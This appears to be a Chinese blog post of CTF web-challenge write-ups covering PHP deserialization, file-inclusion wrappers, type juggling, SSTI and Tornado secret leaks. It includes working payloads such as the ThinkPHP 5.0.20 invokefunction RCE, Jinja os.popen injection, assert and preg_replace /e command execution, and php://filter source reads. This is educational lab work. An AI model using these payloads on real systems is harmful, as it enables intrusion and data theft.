simple_js

查看题目源码,可以看到下面这段js代码

<script type="text/javascript">
    function dechiffre(pass_enc) {
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab = pass_enc.split(',');
        var tab2 = pass.split(',');
        var i, j, k, l = 0,
        m, n, o, p = "";
        i = 0;
        j = tab.length;
        k = j + (l) + (n = 0);
        n = tab2.length;
        for (i = (o = 0); i < (k = j = n); i++) {
            o = tab[i - l];
            p += String.fromCharCode((o = tab2[i]));
            if (i == 5) break;
        }
        for (i = (o = 0); i < (k = j = n); i++) {
            o = tab[i - l];
            if (i > 5 && i < k - 1) p += String.fromCharCode((o = tab2[i]));
        }
        p += String.fromCharCode(tab2[17]);
        pass = p;
        return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

    h = window.prompt('Enter password');
    alert(dechiffre(h));
</script>

分析一下这段代码,可以发现,传入的pass_enc并没有被使用。dechiffre这个函数使用都是在对内部pass进行编码。

简化一下这一段javascript代码

<script type="text/javascript">
    // 定义一个名为 dechiffre 的函数,它接受一个由ASCII码组成的逗号分隔的字符串
    function dechiffre(pass_enc) {
        // 定义一个字符串,包含了"FAUX PASSWORD HAHA"每个字符的ASCII码,逗号分隔
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        // 将传入的参数 pass_enc 按逗号分割成数组
        var tab = pass_enc.split(',');
        // 将字符串 pass 按逗号分割成数组
        var tab2 = pass.split(',');
        // 初始化结果字符串
        var result = "";

        // 仅对前6个字符进行转换,因为原始代码在第六次迭代时终止
        for (var i = 0; i < 6; i++) {
            result += String.fromCharCode(tab2[i]);
        }

        // 从第7个字符开始,直到倒数第二个字符
        for (var i = 6; i < tab2.length - 1; i++) {
            result += String.fromCharCode(tab2[i]);
        }

        // 添加最后一个字符
        result += String.fromCharCode(tab2[tab2.length - 1]);

        // 返回解码后的字符串
        return result;
    }

    // 通过调用 dechiffre 函数将硬编码的十六进制字符串转换为ASCII字符串
    var decodedString = dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30");
    // 输出转换后的字符串
    console.log(decodedString);

    // 弹出一个提示框,要求用户输入密码
    var userInput = window.prompt('Enter password');
    // 调用 dechiffre 函数处理用户输入的密码,并显示结果
    alert(dechiffre(userInput));
</script>

然后发现。。。他的循环都是多余的,于是最后简化为

<script type="text/javascript">
    function dechiffre() {
        return String.fromCharCode.apply(null, "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65".split(','));
    }

    alert(dechiffre()); // 显示解码后的结果
</script>

那么显而易见,答案应该就是后面那串16进制的数了

x = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print(bytes([int(num) for num in x.split(',')]).decode('utf-8'))

# 55,56,54,79,115,69,114,116,107,49,50
# 786OsErtk12

所以最后的flag为Cyberpeace{786OsErtk12}

PHP2

打开题目只有一句话

image-20231202181319384

使用dirsearch扫描,没有任何结果

然后一番百度得知,php文件源代码通常在phps文件,尝试一下

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

分析代码,可以看出,需要get携带参数id,但是id又不能是admin,且在urldecode后又要等于admin

因此这里考察的是,url会处理一次编码,PHPurldecode会再一次处理编码,所以最后只需要对admin进行两次编码即可。

Payload: id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

flag:cyberpeace{87f6755a3d8c940638426af4233f43af}

在后面查看到别人的WP后得知,不需要对admin进行全部二次编码,对其中某个字符进行二次编码即可,正常字符不会影响解码

ics-06

打开网页,哇好高级的页面(傍读)

image-20231202180911741

但是最后发现,只有报表中心可以点

image-20231202181017081

然后,没有然后了,是对id用burp爆破

最后在2333的时候拿到了值

最后的flag为cyberpeace{91dbbc8e6129bf60a3ba094e093f1341}

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

经典反序列化问题,需要绕开__wakeup,这里使用的是CVE-20167124,当序列化字符串对象属性数量大于实际的属性数量时,将不会调用__wakeup函数。

Payload:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Flag:cyberpeace{ba5260721361e2b4869044e1b9e453ff}

php_rce

ThinkPHP版本是5.0.20

?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=cat /flag

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

看到了提示,应该是用伪协议绕过,但是他又有替换,所以考虑使用大小写绕过

GET:  ?page=Php://input
POST: <?=system('ls');

image-20231203163715212

GET:  ?page=Php://input
POST: <?=show_source('fl4gisisish3r3.php');

image-20231203163747401

Flag: ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

upload1

没什么难度,就是传php马,校验后f12删掉上传input后的disabled就可以成功上传了,最后读取flag.php拿到flag

image-20231203164548926

Flag:cyberpeace{ace12811a6fe2b35bc94260089b48db5}

warmup

打开题目,滑稽~

看到注释去source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

分析代码,第二次判断时候,使用的是$_page是经过分割后的

flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}

NewsCenter

数据库题,先放放

Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

分析代码,需要绕开preg_match__wakeup即可

preg_match的绕开需要用:+4:替换掉原本的:4:

__wakeup则使用前面提到的CVE去解决

注意:这里是private,得在php中进行b64code不能复制到外部编base64

>>> base64.b64decode('TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==')
b'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'

Flag: ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

Exp.py

import base64
import codecs

miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"

temp = base64.b64decode(codecs.encode(miwen, 'rot_13')[::-1]).decode()

mingwen = ""

for item in temp:
        mingwen = mingwen + chr(ord(item) - 1)
    
mingwen=mingwen[::-1]

print(mingwen)

flag:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_python_template_injection

from flask
import Flask,request,render_template_string from urllib
import unquote

app = Flask(__name__)

@app.route("/")
def hello():
  return "python template injection"


@app.errorhandler(404)
def page_not_found(error):
  url = unquote(request.url)
    return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404


if __name__ == '__main__':
  app.run(debug=False, host='0.0.0.0')

以上是做完题后拿到的源代码(x

打开网页没有任何提示,然后就随便访问一下,发现404页面可以注入,那就常规注入

{{ config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read() }}

发现文件名是fl4g

config.__class__.__init__.__globals__[%27os%27].popen(%27cat fl4g%27).read()

flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

mfw

这道题居然主要考点是git泄漏?!这算web吗?

使用dirsearch扫描下来,发现有很多git文件

image-20231204204824724

使用githeacker把git解一下,可以看到目录结构和源码,但是很可惜templates/flag.php是空的,只能从主页入手

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        
        <title>My PHP Website</title>
        
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
    </head>
    <body>
        <nav class="navbar navbar-inverse navbar-fixed-top">
            <div class="container">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                        <span class="sr-only">Toggle navigation</span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                      </button>
                      <a class="navbar-brand" href="#">Project name</a>
                </div>
                <div id="navbar" class="collapse navbar-collapse">
                      <ul class="nav navbar-nav">
                        <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                        <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                        <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                        <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
                      </ul>
                </div>
            </div>
        </nav>
        
        <div class="container" style="margin-top: 50px">
            <?php
                require_once $file;
            ?>
            
        </div>
        
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
        <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
    </body>
</html>

分析代码,结合百度,只有从assert入手

第一个assert是校验用,而第二个assert才是我们入手的地方。

在PHP官网查到assert的定义:

assert(mixed $assertion, Throwable|string|null $description = null): bool

其中,assertion可以是任何带返回值的表达式,运行后的结果用于表示断言成功还是失败。

在下方存在一个警告:

警告
在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。

而本题的PHP版本是:5.6.37

所以payload如下:

?page=flag') or system('cat templates/flag.php');//

然后通过F12的到flag,因为他不会显示!

flag:cyberpeace{d0ab3a0679883b7b51d1b02533ff2410}

Cat

image-20231204211407818

输入域名,没有任何回显,输入ip可以ping反回,随便尝试输入(正常应该用fuzz去扫)发现输入超过ascii 0-127会报错,然后就可以获取到一些报错输出,其中有sql地址

image-20231204211625998

然后通过报错头部显示的:

image-20231204211735450

得知请求方式是post,结合大佬的说法(PHP官方文档已经修改x

image-20231204212258550

曾经的文档:

image-20231204212323707

可以知道使用@前缀可以让php直接发送文件,那么payload如下:

?url=@/opt/api/database.sqlite3

然后搜索关键词flag没找到,又尝试ctf,找到了

image-20231204212527376

最后flag为:WHCTF{yoooo_Such_A_G00D_@}

(不知道为什么没有A)

后记:

在github上发现

image-20231204212802892

这段话于2016年4月8日被修改,再之前的版本是可以看到这个提示的

image-20231204212845964

inget

sql注入,提示实在是太少了,没想法,学了sql再说(

ics-05

这次打开只有设备维护中心可以点击,进去发现没啥可用的,然后dirsearch扫描也没结果

瞎点发现标题有点东西最后变成了index.php?page=index,先上伪协议尝试读读源码

php://filter/read=convert.base64-encode/resource=index.php

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}





?>

</body>

</html>

看到最后调试部分的函数,应该是利用preg_replace的洞了/e可执行

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即:'、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误 (比如: 'strlen(\'$1\')+strlen("$2")')。确保符合 PHP 的 字符串语法,并且符合 eval 语法。因为在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。

Payload:pat=/1/e&rep=system('cat s3chahahaDir/flag/flag.php');&sub=1

flag: cyberpeace{09faea056db51e853bfe0ee777078f35}

easytornado

error?msg={{%20handler.settings%20}}

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'f72d9484-76f2-47ae-b9f6-42228baf2443'}

根据/hint的提示

md5(cookie_secret + md5(filename))

import hashlib

cookie_secret = 'f72d9484-76f2-47ae-b9f6-42228baf2443'
filename = '/fllllllllllllag'
filehash = hashlib.md5()
filenamemd5 = hashlib.md5()
filenamemd5.update(filename.encode())
filehash.update((cookie_secret + filenamemd5.hexdigest()).encode())
print(filehash.hexdigest())
?filename=/fllllllllllllag&filehash=84efa9c9a60b08ab0626fee5c7a8b22c
flag{3f39aea39db345769397ae895edb9c70}

fileclude

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

分析代码,有两个参数file1file2,当file_get_contents($file2)的值为hello ctf时就会加载file1的文件。这里考虑使用php伪协议

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

POST:
hello ctf
  
//PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtjNGE1OTE2MDI0MDFkNDgzODM0M2ZjNmRjMTNmMTY0Zn0=
<?php
  echo "WRONG WAY!";
// $flag = cyberpeace{c4a591602401d4838343fc6dc13f164f}

不知道为什么,需要用burp发包,不能直接用hackbar发包([\scode]

lottery

下载附件,分析一下,里面的内容

最后在api.php中发现了问题

function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

其中比较部分,使用的是==,根据PHP文档的说法

image-20231205162449714

对于一个非零字符数字,除了传入对应的数字或者字符数字,还可以直接传入true,恰好他并没有对传入的值进行检查

所以,直接传入true刷钱

payload:

{"action":"buy","numbers":[ true, true, true, true, true, true, true ]}

image-20231205162650293

然后直接买flag

fileinclude

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
    @setcookie("language","english");
    @include("english.php");
}
else
{
    @include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;

在注释里找到这么一段代码,没有对cookie校验,那就直接利用@include的漏洞使用伪协议读文件里

再加上有这么一段提示Hi,EveryOne,The flag is in flag.php

Payload:COOKIE['language']=php://filter/read=convert.base64-encode/resource=flag

得到:PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezFlOTNlZjI3ODVkN2FkYTM3NDNmNTU5ODA1ODJkODY5fSI7DQo/Pg==

<?php
$flag="cyberpeace{1e93ef2785d7ada3743f55980582d869}";
?>

English.php:

Please choose the language you want : English or Chinese
<?php
echo "<h1>Hi,EveryOne,The flag is in flag.php</h1>";
?>

shrine

哎,还得手动格式化代码,烦内~

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
# 攻防世界给的代码不对,少了<path:shrine>,但是也能够试出来(
def shrine(shrine):
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
        blacklist = ['config', 'self'] 
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
    return flask.render_template_string(safe_jinja(shrine)) 


if __name__ == '__main__': 
    app.run(debug=True)

分析一下,flag在config里,但是他又过滤了config,所以得从其他地方拿到config

payload:{{url_for.__globals__['current_app'].config}}

flag: flag{shrine_is_good_ssti}

fakeboot

要数据库,先放放

file_include

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

Check.php:

<?php
  if($_GET["filename"]){ 
    $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; 
    if (eval($preg_match_username)) { 
      die("do not hack!"); 
    } 
  }

伪协议相关:

payload:php://filter/convert.iconv.utf8.utf16/resource=./flag.php

知识点:convert待补充

easyphp

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?>

分析代码,第一部分

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

// a的值通过intval后要大于6000000,但是长度又要小于4,那就要考虑科学记数法了,这里直接给a=1e9
// b的md5最后六位要等于8b184b,用php跑一下,找到最小的值是53724,所以b=53724
// 53724 7597945 25377570 38568365 56733791 70456890 补充一下这几个都可以

第二部分就麻烦一些了

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

c是通过json_decode解析后成为一个array,接下来分析c的条件

c中要有两个值,分别为mn

其中,m要求不是数字,但是又要满足与2022比较大小比其大,这里可以利用PHP弱类型比较,2023a>2022

n的要求则是数组,且有且只有两个成员,第一个成员是一个数组,第二个成员任意

这里要利用array_search

easyupload

PS:.user.iniauto_prepend_file

bug

cyberpeace{b6063c2e13b497eb5ce52b87c5550c34}

image-20231205221324439

unseping

最后修改:2023 年 12 月 13 日
如果觉得我的文章对你有用,请随意赞赏